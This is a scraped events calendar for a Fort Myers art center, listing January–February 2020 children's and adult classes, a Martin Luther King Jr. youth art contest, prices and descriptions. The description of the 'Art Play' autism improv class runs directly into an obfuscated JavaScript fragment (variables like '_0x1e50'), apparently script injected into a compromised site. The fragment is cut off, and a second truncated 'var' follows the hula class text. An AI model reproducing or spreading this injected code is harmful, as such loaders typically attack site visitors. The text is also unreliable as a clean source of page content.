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January 2020

Martin Luther King, Jr. Legacy Weekend – Youth Art Contest

January 20 @ 12:00 pm - 6:00 pm
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Calling all artists in Kindergarten through 12th grade! To honor the legacy of Dr. Martin Luther King, Jr. please join us for Martin Luther King, Jr. Legacy Weekend - Youth Art Contest.

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Youth

Art For Young People (Grades K – 3)

January 21 @ 4:00 pm - 5:30 pm
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4 Tuesdays
January 7 - January 28
4 Tuesdays (see all)
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Members: $75
Non-Members: $95

Come join fine artist Beth Ivens in this exciting art series for your little budding artists! Children will be introduced to basic art principles such as line, texture, color and composition while working with a variety of art materials. Each week we will focus on a new skill as we explore animal drawing, the still life, landscape, and more! Many of the projects will include a small lesson on how they relate to a specific idea in history so students…

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Adult, Youth

Drawing Animals (Ages 14 to adult)

January 22 @ 6:30 pm - 9:00 pm
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6 Wednesdays
January 8 - February 12
6 Wednesdays (see all)
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Members: $135
Non-Members: $170

This drawing class is for all levels of artists!  Students will learn how to create texture and depth in a drawing of their favorite pet or animal immortalizing them forever.  Instruction will begin with pencils but then students will be welcome to explore other mediums.  Learn to choose the best photo for a great drawing and get the all-important likeness of your subject.  Come create a lasting memory of your furry (or not so furry) friend in a relaxing and…

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Youth

Youth Art Works (Ages 9+)

January 23 @ 4:00 pm - 6:00 pm
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5 Thursdays
January 16 - February 13
5 Thursdays (see all)
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Members: $85
Non-Members: $106

So much fun they won’t know they’re learning! This youth class is designed to foster an appreciation of art for students. We will introduce students to a variety of materials and artistic concepts to evoke their curiosity and to hone their natural creativity. Students will cover techniques in pencil, watercolors, mixed media, and acrylics. Students will advance their skills of observation and will cover concepts such as form, value, light and shadow, color, and proportions—and, how to utilize these concepts…

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Youth

Art Play: Acting & Improv (Ages 8 – 18) For actors with autism.

January 23 @ 4:30 pm - 6:00 pm
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4 Thursdays
January 9 - January 30
4 Thursdays (see all)
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Members: $45
Non-Members: $45

ArtPlay: Acting & Improv classes are designed to engage children with Autism Spectrum Disorder in improvisation exercises to build and reinforce basic and successful social interaction skills. In these classes students can gain confidence, build social skills, increase self-expression, and have fun! This class is run in partnership with Family Initiative Inc. Supply list: None. Wear comfortable clothes and closed toe shoes. Students must: -Respond to verbal direction -Independently toilet -Not require 1 on 1 supervisionvar _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return…

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Youth

Hula Dance Class (Ages 3 – 16)

January 24 @ 4:30 pm - 6:00 pm
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3 Fridays
January 17 - January 31
3 Fridays (see all)
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Members: $35
Non-Members: $35

Marliss' classes include 45 minutes of basic instruction in the style of Hawaiian, Tahitian, Maori and Samoan including mastering performance dances and songs. Students ages 3 - 9 practice from 4:30-5:15. Students 10 - 16 practice from 5:15-6. Performances are held around the community 3-4 times a year. Costumes are required at a minimal cost. NO CLASS 1/3 or 1/11; special class session.  The price is adjusted accordingly. Supply list: Costumes are required at a minimal cost. Class Refund Policyvar…

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Adult, Youth

Jump Start – Watercolor Basics (Ages 13 to adult)

January 25 @ 10:00 am - 4:00 pm
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Members: $120
Non-Members: $150

This six-hour introductory workshop provides a solid understanding of important basic watercolor techniques and theory for beginner watercolorists and those who feel they want a “refresher” course. Some drawing experience is helpful but not essential. There will be instructional lecture time with ample “hands on” instructor assistance.  This workshop condenses two previous 4 hour workshops into a day-long session where students will: Create a basic color palette Learn the different types of brushes and how to use them to achieve…

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Family Art Labs ( January 2020)

January 25 @ 10:00 am - 12:00 pm
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Free

Make creativity part of your family routine the 4th Saturday of each month during Family Art Lab!

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Youth

Comics and Figure Art (Ages 10 – 17)

January 26 @ 2:00 pm - 4:00 pm
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4 Sundays
January 5 - January 26
4 Sundays (see all)
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Members: $110
Non-Members: $140

Beginners and intermediate students alike are welcome to join Kevin in this character and figure development class!  Students will learn how to create or advance their own comics characters and learn or advance their understanding of figure drawing.  Those with experience will expand their skill by creating characters in sequential format and backgrounds. Topics will include: Anatomy, perspective, and precision Scaling and proportions of the human body Character development Lay out and sequential formats (storytelling) Shading Background incorporation (1 and…

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February 2020

Adult, Youth

Outside the Traditional Watercolor Box (Ages 13 to adult)

February 1 @ 10:00 am - 2:00 pm
10091 McGregor Blvd.
Fort Myers, FL 33919 United States
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Members: $85
Non-Members: $107

This workshop will cover two different methods of working in watercolor: ink and watercolor, and limited palette of colors.  Students will select one of these methods to produce a painting during the workshop after some lecture and instructional time is spent learning and discussing the concept of value and technique of color layering.  Prior watercolor experience is preferred. During the workshop students will: Produce either an ink and watercolor or a limited watercolor palette painting Learn the technique of layering…

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